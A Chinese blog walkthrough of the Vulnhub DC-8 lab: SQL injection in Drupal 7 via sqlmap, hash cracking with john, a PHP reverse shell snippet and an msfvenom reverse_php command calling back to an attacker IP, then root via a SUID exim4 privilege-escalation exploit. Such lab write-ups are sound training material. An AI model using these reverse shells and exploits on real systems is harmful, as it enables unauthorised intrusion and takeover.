DC8

经验 & 总结

  1. 对页面的功能和对应的url要敏感。
  2. 所有的功能都要测试,要雨露均沾。
  3. 提示说的那个双因子认证……我真没找到,tweet翻了好久也没找到。
  4. 爆破虽然很无脑,但是在后台慢慢跑,万一有收获呢(当然真实环境还是需要看字典的)。
  5. 插入PHP代码那个地方为什么要在开头输入字符串的问题还没理清楚。

步骤流水

信息搜集

  • 下载页面的提示信息:

    • 涉及到双因子认证,POC由推特用户@theart42 提出
    • 任务目标:绕过双因子认证、获得root权限、读取flag
    • 双因子认证交互接口在SSH上
  • 端口扫描,发现只开放了80和22端口,80端口透露出的信息判断CMS为Drupal7.



  • 访问80端口页面

80端口

  • 一顿瞎点之后发现页面上方的导航栏和左侧的导航栏指向地址不同,而且存在sql注入。





  • sqlmap一把梭,因为mysql端口并没有暴露在外边,数据库中只有drupal的内容,因此将方向确定为获取drupal的用户口令。





  • 整理之后得到用户名和对应hash内容,利用john爆破得到john用户密码 (这个用户名应该算是提示吧)



    • 测试登录ssh和drupal,无法登录ssh但是可以登录drupal。



  • 和之前的DC7不一样,这个用户的权限比较低,只能修改页面内容,对每个功能进行尝试的时候发现一个可以插入php代码的地方。

    • 但是测试并没有效果,返回的是修改之前默认的内容,一顿瞎试也没解决,网上也没找到相关信息(可能是姿势不对)

    • 最后参照网上其他的walkthrough,发现需要在php代码之前添加其他字符



  • 获得服务器相关信息,但是尝试通过sqlmap向web目录下写文件失败,尝试使用php代码直接构造webshell,因为看起来代码执行的结果是直接包含在drupal页面中的,因此考虑使用回连式shell。

获取Shell

  • 添加回连代码

    • 第一个版本,可以执行,但是连接回来就掉了,不清楚原因(如果有知道原因的兄弟,还请告知~)
    <?php
    $sock=fsockopen("公网IP",端口);
    exec("/bin/sh -i <&3 >&3 2>&3");
    ?>

  • 使用msf生成回连shell,这个代码在执行的时候页面是一直处在加载状态的

    msfvenom -p php/reverse_php LHOST=10.0.2.15 LPORT=8888 -f raw -o reshell.php

  • 鸟枪换炮

提权

  • 使用LinEnum.sh查看相关信息

    • 内核信息:Linux dc-8 4.9.0-4-amd64 #1 SMP Debian 4.9.51-1 (2017-09-28) x86_64 GNU/Linux

    • 全局可写文件也没有什么特殊的

    • 在当前进程中看到了一个不同寻常的程序:exim4具有SUID

  • exim4

    exim4:

    Exim4是在剑桥大学开发的另一种消息传输代理(MTA),用于在连接到Internet的Unix系统上使用。 尽管exim的配置与sendmail的配置完全不同,但是可以安装Exim代替sendmail。

    • 确认版本

    • 相关漏洞

    • 由于我的msf框架比较老,没收录这个,同时又不想放弃已经搞下来的shell,因此选择尝试Exim 4.87 - 4.91 - Local Privilege Escalation



  • 尝试提权脚本

  • 检查了一下,是Windows换行符的问题,使用vim打开文件后:set ff=unix保存即可

  • 第一次执行失败,尝试代码中提示的第二种方法,成功提权。

  • 成功读取flag.txt

Vulnhub_DC8 记录的更多相关文章

  1. 记一次debug记录:Uncaught SyntaxError: Unexpected token ILLEGAL

    在使用FIS3搭建项目的时候,遇到了一些问题,这里记录下. 这里是发布搭建代码: // 代码发布时 fis.media('qa') .match('*.{js,css,png}', { useHash ...

  2. nginx配置反向代理或跳转出现400问题处理记录

    午休完上班后,同事说测试站点访问接口出现400 Bad Request  Request Header Or Cookie Too Large提示,心想还好是测试服务器出现问题,影响不大,不过也赶紧上 ...

  3. Kali对wifi的破解记录

    好记性不如烂笔头,记录一下. 我是在淘宝买的拓实N87,Kali可以识别,还行. 操作系统:Kali 开始吧. 查看一下网卡的接口.命令如下 airmon-ng 可以看出接口名称是wlan0mon. ...

  4. 2015 西雅图微软总部MVP峰会记录

    2015 西雅图微软总部MVP峰会记录 今年决定参加微软MVP全球峰会,在出发之前本人就已经写这篇博客,希望将本次会议原汁原味奉献给大家 因为这次是本人第一次写会议记录,写得不好的地方希望各位园友见谅 ...

  5. 分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间)

    分享一个SQLSERVER脚本(计算数据库中各个表的数据量和每行记录所占用空间) 很多时候我们都需要计算数据库中各个表的数据量和每行记录所占用空间 这里共享一个脚本 CREATE TABLE #tab ...

  6. 我是如何在SQLServer中处理每天四亿三千万记录的

    首先声明,我只是个程序员,不是专业的DBA,以下这篇文章是从一个问题的解决过程去写的,而不是一开始就给大家一个正确的结果,如果文中有不对的地方,请各位数据库大牛给予指正,以便我能够更好的处理此次业务. ...

  7. 前端学HTTP之日志记录

    前面的话 几乎所有的服务器和代理都会记录下它们所处理的HTTP事务摘要.这么做出于一系列的原因:跟踪使用情况.安全性.计费.错误检测等等.本文将谥介绍日志记录 记录内容 大多数情况下,日志的记录出于两 ...

  8. ASP.NET Core应用中如何记录和查看日志

    日志记录不仅对于我们开发的应用,还是对于ASP.NET Core框架功能都是一项非常重要的功能特性.我们知道ASP.NET Core使用的是一个极具扩展性的日志系统,该系统由Logger.Logger ...

  9. python+uwsgi导致redis无法长链接引起性能下降问题记录

    今天在部署python代码到预生产环境时,web站老是出现redis链接未初始化,无法连接到服务的提示,比对了一下开发环境与测试环境代码,完全一致,然后就是查看各种日志,排查了半天也没有查明是什么原因 ...

随机推荐

  1. Mongodb学习笔记(二)Capped Collection固定集合

    一.Capped Collection固定集合 简单介绍 capped collections是性能出色的有着固定大小的集合(定容集合),以LRU(Least Recently Used最近最少使用) ...

  2. Mongodb学习笔记(三)性能篇

    一.索引管理 MongoDB提供了多样性的索引支持,索引信息被保存在system.indexes中MongoDB中_id字段在创建的时候,默认已经建立了索引,这个索引比较特殊,并且不可以删除,不过Ca ...

  3. Visual Studio Code修改全屏背景

    打开VSCode安装目录,找到workbench.desktop.main.css文件 在最后一行添加以下代码: body{ pointer-events:auto !important; backg ...

  4. lightoj 1408 概率dp

    https://blog.csdn.net/moon_sky1999/article/details/98097470 博主在此,牛逼神犇 #include<bits/stdc++.h> ...

  5. jsp+servlet实现的验证登陆

    可以将业务逻辑处理和视图相分离,使用jsp界面表示视图,使用servlet处理业务逻辑 login.jsp <%@ page language="java" contentT ...

  6. Drawer 侧边栏、以及侧边栏内 容布局

    一.Flutter Drawer 侧边栏 在 Scaffold 组件里面传入 drawer 参数可以定义左侧边栏,传入 endDrawer 可以定义右侧边栏.侧边栏默认是隐藏的,我们可以通过手指滑动显 ...

  7. 【音乐欣赏】《PANTA RHEI》 - MYTH & ROID

    曲名:PANTA RHEI 作者:MYTH & ROID [ti:PANTA RHEI (<异世界超能魔术师>TV动画片头曲)] [ar:MYTH & ROID] [al: ...

  8. Python实现将图片以二进制格式保存到MySQL数据库中,以及取出:

    创建数据库表格式: CREATE TABLE photo ( photo_no int(6) unsigned NOT NULL auto_increment, image MEDIUMBLOB, P ...

  9. docker镜像拉取速度过慢的解决

    前提是我们在linux环境下安装好了docker,并且可以正常启动关闭. 当我们对镜像进行拉取的时候,会发现速度非常的慢,停在下面这个界面很久也不动. 解决方法 进入阿里云官网,进入后搜索docker ...

  10. WLC配置LAG

    在一般的网络环境中,为了让网络更加的可靠,冗余性更好,会对WLC和对端的设备配置LAG. 如下是一个基本的示例topo(VSS的情况下建议的连接方式): 一般情况下的连接方式: 一般来说配置比较简单, ...